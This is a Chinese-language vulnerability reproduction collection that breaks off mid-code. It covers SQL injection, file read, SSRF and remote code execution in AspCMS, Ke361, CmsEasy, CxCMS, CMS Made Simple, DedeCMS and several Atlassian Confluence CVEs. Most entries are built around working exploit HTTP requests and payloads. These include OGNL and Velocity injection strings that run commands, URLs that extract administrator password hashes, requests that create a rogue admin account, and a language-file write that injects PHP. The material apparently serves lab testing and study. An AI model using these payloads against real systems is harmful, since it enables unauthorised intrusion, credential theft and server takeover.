CMS
AspCMS
AspCMS commentList.asp SQL注入漏洞
漏洞描述
AspCMS commentList.asp 存在SQL注入漏洞,攻击者通过漏洞可以获取管理员md5的密码
漏洞影响
网络测绘
漏洞复现
通过网站源码响应判断CMS
验证POC
/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user
成功获取管理员账号以及密码的MD5
Atlassian confluence
CVE-2019-3396
Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
参考资料:
漏洞影响
网络测绘
环境搭建
执行如下命令启动一个Confluence Server 6.10.2:
docker compose up -d
环境启动后,访问http://your-ip:8090
会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书:
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
如果提示填写cluster node,路径填写/home/confluence
即可:
后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db
,账号密码均为postgres
:
漏洞复现
发送如下数据包,即可读取文件web.xml
:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd
来读取文件,也可以通过https://...
来加载远程文件。
该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:
CVE-2021-26084
Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2021-26084)
Atlassian Confluence是企业广泛使用的wiki系统,其部分版本中存在OGNL表达式注入漏洞。攻击者可以通过这个漏洞,无需任何用户的情况下在目标Confluence中执行任意代码。
参考链接:
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://github.com/h3v0x/CVE-2021-26084_Confluence
漏洞影响
网络测绘
环境搭建
执行以下命令启动一个Confluence 7.4.10 data center 试用版本服务器:
docker compose up -d
环境启动后,访问http://your-ip:8090
即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
漏洞利用
有多个接口可以触发这个OGNL表达式注入漏洞。
/pages/doenterpagevariables.action
这个接口不需要登录即可利用,发送如下数据包,即可看到233*233
已被执行:
POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
执行任意命令:
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
/pages/createpage-entervariables.action
这个路径也不需要用户登录:
POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
/pages/createpage.action
这个接口需要一个可以创建页面的用户权限:
GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close
CVE-2022-26134
Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
参考链接:
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个Confluence Server 7.13.6:
docker compose up -d
环境启动后,访问http://your-ip:8090
即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
漏洞复现
该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
其中使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
。
CVE-2023-22515
Confluence 属性覆盖导致权限绕过漏洞 (CVE-2023-22515)
Atlassian Confluence是企业广泛使用的wiki系统。
2023年10月4日,Atlassian官方发布了对于CVE-2023-22515漏洞的补丁。这个漏洞是由属性覆盖导致,利用该漏洞攻击者可以重新执行Confluence安装流程并增加管理员账户。
该漏洞不影响8.0.0以前的版本。
参考链接:
- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
- https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
漏洞环境
执行如下命令启动一个Confluence Server 8.5.1:
docker compose up -d
环境启动后,访问http://your-ip:8090
即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
漏洞复现
首先,最主要的请求就是覆盖目标Confluence服务器中的bootstrapStatusProvider.applicationConfig.setupComplete
属性:
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
然后,你就可以使用如下请求创建一个新的管理员账户vulhub
:
POST /setup/setupadministrator.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
X-Atlassian-Token: no-check
username=vulhub&fullName=vulhub&email=admin%40vulhub.org&password=vulhub&confirm=vulhub&setup-next-button=Next
发送如下请求完成安装步骤:
POST /setup/finishsetup.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
X-Atlassian-Token: no-check
最后,直接使用新的vulhub
账户(密码同样是vulhub
)来登录Confluence,可见新的管理员已成功增加:
CVE-2023-22527
Confluence OGNL表达式注入命令执行漏洞(CVE-2023-22527)
Atlassian Confluence是企业广泛使用的wiki系统。
在Confluence 8.0到8.5.3版本之间,存在一处由于任意velocity模板被调用导致的OGNL表达式注入漏洞,未授权攻击者利用该漏洞可以直接攻击Confluence服务器并执行任意命令。
参考链接:
- https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
漏洞环境
执行如下命令启动一个Confluence Server 8.5.3:
docker compose up -d
环境启动后,访问http://your-ip:8090
即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
漏洞复现
该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
在Confluence 7.18.0版本后,官方开发者为其引入了isSafeExpression
函数来限制执行恶意OGNL表达式。安全研究者Alvaro Muñoz分享了一种利用velocity模板中的#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object)
来获取无沙箱的OGNL对象并执行任意语句的绕过方法,完整并解码后的Payload如下:
'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'
Ke361
AuthManagerController.class.php 后台SQL注入漏洞
漏洞描述
Ke361 AuthManagerController.class.php uid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息
漏洞影响
环境搭建
漏洞复现
CMS产品页面
存在漏洞的文件为 Application/Admin/Controller/AuthManagerController.class.php
验证POC
/admin.php?s=/AuthManager/group/uid/1')%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002
漏洞描述
Ke361 DistrictController.class.php index() 函数 pid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息
漏洞影响
环境搭建
漏洞复现
CMS产品页面
存在漏洞的文件为 Application/Admin/Controller/DistrictController.class.php
验证POC
admin.php?s=/District/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
GoodsController.class.php SSRF漏洞
漏洞描述
Ke361 GoodsController.class.php URL参数存在 SSRF漏洞,通过漏洞可以获取敏感信息
漏洞影响
环境搭建
漏洞复现
CMS产品页面
存在漏洞的文件为 Application/Home/Controller/GoodsController.class.php
URL参数无任何过滤,传入 file_get_contents函数,造成SSRF漏洞,构造请求
POST /index.php?s=/Goods/ajGetGoodsDetial
url=http://6si2gt.dnslog.cn
MenuController.class.php 后台SQL注入漏洞 CNVD-2021-25002
漏洞描述
Ke361 MenuController.class.php文件 index() 函数中的pid参数存在 SQL注入漏,导致攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
环境搭建
漏洞复现
CMS产品页面
存在漏洞的文件为 Application/Admin/Controller/MenuController.class.php
Get 传参 pid 传入SQL语句
SELECT `id`,`title`,`pid`,`sort`,`url`,`hide`,`tip`,`group`,`is_dev`,`status` FROM `ke_menu` WHERE (id=1)
使用括号闭合语句,构造SQL注入
/admin.php?s=/Menu/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
TopicController.class.php SQL注入漏洞 CNVD-2017-04380
漏洞描述
Ke361 TopicController.class.php 文件中 detai() 函数中存在 SQL注入漏洞
漏洞影响
环境搭建
漏洞复现
CMS产品页面
存在漏洞的文件为 Application/Home/Controller/TopicController.class.php, 漏洞函数详情
public function detail(){
$id = I('id');
$where['tid'] = $id;
$TopicModel = new TopicModel();
$topicInfo = $TopicModel->info($id);
// if(empty($topicInfo)){
// $this->error('您查看的专题不存在哦!');
// }
// 这里注释掉,默认不存在专题
M('Topic')->where('id='.$id)->setInc('hits');
$this->setSiteTitle($topicInfo['title']);
$goods = $this->lists(D('Goods'),$where);
foreach ($goods as $k=>$v){
$goods[$k]['url'] = U('/goods/'.$v['id']);
}
$this->assign('goods',$goods);
$this->assign('topic',$topicInfo);
$this->display();
}
这里接收参数 id,然后执行SQL语句, 通过报错注入可以获取数据库数据
/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
cmscms
CVE-2019-9053
CMS Made Simple (CMSMS) < 2.2.10 前台SQL注入漏洞(CVE-2019-9053)
CMS Made Simple(CMSMS)是一个免费的开放源码内容管理系统,为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。
在 2.2.9.1 之前的版本中,CMS Made Simple 存在一个未验证的 SQL 注入漏洞,攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞(CVE-2021-26120),攻击者可在目标服务器上执行任意代码。
参考链接:
漏洞环境
执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:
docker compose up -d
环境启动后,你需要访问http://your-ip/install.php
并安装CMS服务。
安装过程请根据页面中的安装向导来进行,其中MySQL数据库的地址是db
,数据库名是cmsms
,账号和密码均为root
。
漏洞复现
使用https://www.exploit-db.com/exploits/46635中的脚本来利用SQL注入漏洞:
python2 poc.py -u http://127.0.0.1
可见,管理员密码已经被该脚本获取。
CVE-2021-26120
CMS Made Simple (CMSMS) 前台代码执行漏洞(CVE-2021-26120)
CMS Made Simple(CMSMS)是一个免费的开放源码内容管理系统,为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。
Smarty 3.1.39 之前的版本允许在 {function name=
子串后注入PHP代码,导致代码注入漏洞,该漏洞即为CVE-2021-26120。
CMS Made Simple 版本 <= 2.2.15,拥有设计师权限的用户可以在后台利用服务端模板注入漏洞,即为前面提到的CVE-2021-26120。
因此,如果CMSMS版本低于2.2.9.1,未授权的攻击者可以结合CVE-2019-9053和CVE-2021-26120漏洞,在服务器上执行任意代码。
参考链接:
漏洞环境
执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:
docker compose up -d
环境启动后,你需要访问http://your-ip/install.php
并安装CMS服务。
安装过程请根据页面中的安装向导来进行,其中MySQL数据库的地址是db
,数据库名是cmsms
,账号和密码均为root
。
漏洞复现
使用https://srcincite.io/pocs/cve-2021-26120.py.txt中分享的POC,可以使用SQL注入漏洞重置管理员密码,并执行任意命令:
python poc.py 127.0.0.1 / id
可见,id
命令已被成功执行。
CmsEasy
crossall_act.php SQL注入漏洞
漏洞描述
CmsEasy 存在SQL注入漏洞,通过文件 service.php 加密SQL语句执行即可执行任意SQL命令
影响版本
网络测绘
环境搭建
漏洞复现
主页面
存在漏洞的文件为 lib/default/crossall_act.php
其中需要注意的代码为
function execsql_action(){
$sqlquery=front::get("sql");
$sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");
$returndata=tdatabase::getInstance()->rec_query_one($sqlquery);
echo json_encode($returndata);
exit;
}
function execsqls_action(){
$sqlquery=front::get("sql");
$sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");
$returndata=tdatabase::getInstance()->rec_query($sqlquery);
echo json_encode($returndata);
exit;
}
function execupdate_action(){
$sqlquery=front::get("sql");
$sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");
$returndata=tdatabase::getInstance()->query($sqlquery);
echo json_encode($returndata);
exit;
}
代码中传入参数 sql, 然后使用方法 unlockString 解码执行 SQL语句
查看文件 lib/table/service.php
public static function lockString($txt,$key='cmseasy_sql')
{
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
$nh = rand(0,64);
$ch = $chars[$nh];
$mdKey = md5($key.$ch);
$mdKey = substr($mdKey,$nh%8, $nh%8+8);
$txt = base64_encode($txt);
$tmp = '';
$i=0;$j=0;$k = 0;
for ($i=0; $i<strlen($txt); $i++) {
$k = $k == strlen($mdKey) ? 0 : $k;
$j = ($nh+strpos($chars,$txt[$i])+ord($mdKey[$k++]))%64;
$tmp .= $chars[$j];
}
return urlencode($ch.$tmp);
}
/**对字符串进行解密。 crossall_act文件使用
* @param $txt
* @param string $key
* @return bool|string
*/
public static function unlockString($txt,$key='cmseasy_sql')
{
$txt = urldecode($txt);
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
$ch = $txt[0];
$nh = strpos($chars,$ch);
$mdKey = md5($key.$ch);
$mdKey = substr($mdKey,$nh%8, $nh%8+8);
$txt = substr($txt,1);
$tmp = '';
$i=0;$j=0; $k = 0;
for ($i=0; $i<strlen($txt); $i++) {
$k = $k == strlen($mdKey) ? 0 : $k;
$j = strpos($chars,$txt[$i])-$nh - ord($mdKey[$k++]);
while ($j<0) $j+=64;
$tmp .= $chars[$j];
}
return base64_decode($tmp);
}
文件中得到了 $key='cmseasy_sql'
和加解密方法,构造请求获取账号密码md5
/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5
language_admin.php 后台命令执行漏洞
漏洞描述
CmsEasy 后台存在命令执行漏洞,通过文件 language_admin.php 对部分文件进行写入操作,导致任意文件写入
影响版本
网络测绘
环境搭建
漏洞复现
主页面
存在漏洞的文件为 lib/admin/language_admin.php
function add_action() {
$lang_choice='system.php';
if (isset($_GET['lang_choice'])){
$lang_choice=$_GET['lang_choice'];
}
if (front::post('submit')) {
$langid=front::get('id');
$lang=new lang();
$langdata = $lang->getrows('id='.$langid, 1);
if (is_array($langdata)){
$langurlname=$langdata[0]['langurlname'];
}else{
front::alert(lang_admin('language_pack').lang_admin('nonentity'));
}
$path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
$tipspath=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
$content=file_get_contents($path);
$tipscontent=file_get_contents($tipspath);
$replace="'".front::$post['key']."'=>'".front::$post['val']."',";
$tipsreplace="'".front::$post['key']."'=>'".front::$post['cnnote']."',";
$content=str_replace(');',"\n".$replace.');',$content);
file_put_contents($path,$content);
$pos=strpos($tipscontent,$tipsreplace);
if ($langurlname != 'cn'&&$pos === false) {
$tipscontent=str_replace(');',"\n".$tipsreplace.');',$tipscontent);
file_put_contents($tipspath,$tipscontent);
}
if ($_GET['site'] != 'default') {
$ftp=new nobftp();
$ftpconfig=config::get('website');
$ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
$ftperror=$ftp->returnerror();
if ($ftperror) {
exit($ftperror);
}
else {
$ftp->nobchdir($ftpconfig['ftppath']);
$ftp->nobput($ftpconfig['ftppath'].'/lang/'.$langurlname.'/'.$lang_choice,$path);
}
}
event::log(lang_admin('add_to').lang_admin('language_pack'),lang_admin('success'));
//
$shepi='<script type="text/javascript">alert("'.lang_admin('dosomething').lang_admin('complete').'");gotoinurl("'.url('language/edit/id/'.$langdata[0]['id'],true);
$shepi=$shepi.'&lang_choice='.$lang_choice;
$shepi=$shepi.'");</script>';
echo $shepi;
//exit;
//front::refresh(url('language/edit',true));
}
$this->view->lang_choice=$lang_choice;
}
访问这个页面
其中参数有三个,分别为 key , cnnote, val
传入参数后,查看 lang/cn/system_custom.php
文件中
<?php
/*
*中文语言包
*/
return
array(
'2'=>'3',);
?>
由于没有对传入的参数进行过滤,通过写入特殊的参数就可以逃逸出数组造成命令执行
分别传入两次参数
test1 test2 test3);
写入后文件内容
<?php
/*
*中文语言包
*/
return
array(
'test2'=>'test3);',);
?>
再传入一次参数
test4 ,test5, ,phpinfo());/*
写入后文件内容
访问文件 /lang/cn/system_custom.php
若有收获,就点个赞吧
update_admin.php 后台任意文件上传漏洞
漏洞描述
CmsEasy 后台存在任意文件上传漏洞,通过文件 service.php 加密Url参数执行即可上传任意文件
影响版本
网络测绘
环境搭建
漏洞复现
主页面
存在漏洞的文件为 lib/admin/update_admin.php
其中需要注意的代码为
function downfile_action()
{
$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');
if (!$res) {
$res = array(
'err' => 1,
'data' => lang_admin('update_package_download_failed'),
);
} else {
@unlink('upgrade/config_cn.php');
@unlink('upgrade/config_cn.tmp.php');
@unlink('upgrade/upgrade.sql');
@unlink('upgrade/command.php');
front::remove(ROOT.'/cache/data');
front::remove(ROOT.'/cache/template');//清空全部语言
$langdata=getlang();
if($langdata != ""){
foreach ($langdata as $key=>$val){
front::remove(ROOT.'/cache/'.$val['langurlname']);
front::remove(ROOT.'/'.$val['langurlname'].'/template');
}
}
//先清空缓存
user::deletesession();
category::deletesession();
//提取分类
if(file_exists(ROOT."/lib/table/type.php")) {
type::deletesession();
}
//提取专题
if(file_exists(ROOT."/lib/table/special.php")) {
special::deletesession();
}
$archive = new PclZip('cache/patch.zip');
$archive->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);
if(file_exists('upgrade/upgrade.sql')) {
$sqlquery = file_get_contents('upgrade/upgrade.sql');
$sqlquery = str_replace('`cmseasy_', '`' . config::getdatabase('database', 'prefix'), $sqlquery);
$sqlquery = str_replace("\r", "", $sqlquery);
$sqls = preg_split("/;(--)*[ \t]{0,}\n/", $sqlquery);
$this->exec_cms_sql($sqls);
}
if(file_exists('upgrade/command.php')){
include ROOT . '/upgrade/command.php';
}
$res = array(
'err' => 0,
'message' => $this->message,
'data' => lang_admin('upgrade_successful'),
);
}
echo json_encode($res);
exit;
}
其中使用 unlockString 和 get_file 方法
$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');
写入后在上层目录写入文件,即Web根目录,创建压缩包并上传可访问的服务器上
zip phpinfo.zip phpinfo.php
构造下载请求
/index.php?case=update&act=downfile&admin_dir=admin&site=default&url=buTdBnP8%3DJ%3DELYuF8Z2IwZyM-awr9fH%3D0cax6mxICukxw
CxCMS
Resource.ashx 任意文件读取漏洞
漏洞描述
CxCMS 存在任意文件读取,由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严,导致可以读取系统敏感文件。
漏洞影响
网络测绘
漏洞复现
关键字确认CMS
验证POC
/Sys/Handler/Resource.ashx?_FilePath=../../web.config
DedeCMS
common.func.php 远程命令执行漏洞
漏洞描述
DocCMS flink.php 文件存远程命令执行漏洞,攻击者通过漏洞可以执行任意命令
漏洞影响
网络测绘
漏洞复现
产品页面
查看文件 include/common.func.php
的 ShowMsg方法
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
if (empty($GLOBALS['cfg_plus_dir'])) {
$GLOBALS['cfg_plus_dir'] = '..';
}
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
$htmlhead = "
<html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
<meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
<meta name=\"renderer\" content=\"webkit\">
<meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
<base target='_self'/>
</head>
<body>
" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
<center style=\"width:450px\" class=\"uk-container\">
<div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
<div class=\"uk-card-header\" style=\"height:20px\">DedeCMS 提示信息!</div>
<script>\r\n";
$htmlfoot = "
</script>
</center>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
</body>\r\n</html>\r\n";
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
if ($gourl == '-1') {
if ($limittime == 0) {
$litime = 3000;
}
$gourl = "javascript:history.go(-1);";
}
if ($gourl == '' || $onlymsg == 1) {
$msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";
} else {
//当网址为:close::objname 时, 关闭父框架的id=objname元素
if (preg_match('/close::/', $gourl)) {
$tgobj = trim(preg_replace('/close::/', '', $gourl));
$gourl = 'javascript:;';
$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
}
$func .= "var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
$rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
$rmsg .= "document.write(\"";
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
$rmsg .= "<br/></div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
$rmsg .= "<br/></div>\");\r\n";
}
} else {
$rmsg .= "<br/><br/></div>\");\r\n";
}
$msg = $htmlhead . $rmsg . $htmlfoot;
}
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
}
/**
* 获取验证码的session值
*
* @return string
*/
这里注意到 当 $gourl 变量为 -1 时调用 ShowMsg方法, 则请求参数 Referer 为用户可控参数
像下看,可以发现可控的变量传入两个方法
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
追踪方法来到 include/dedetemplate.class.php
文件
ParseTemplate() 则是模版渲染的方法,再往下看
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile;
}
追踪一下 WriteCache()
方法
看 GetResult() 方法 和 CheckDisableFunctions() 方法
public function GetResult()
{
if (!$this->isParse) {
$this->ParseTemplate();
}
$addset = '';
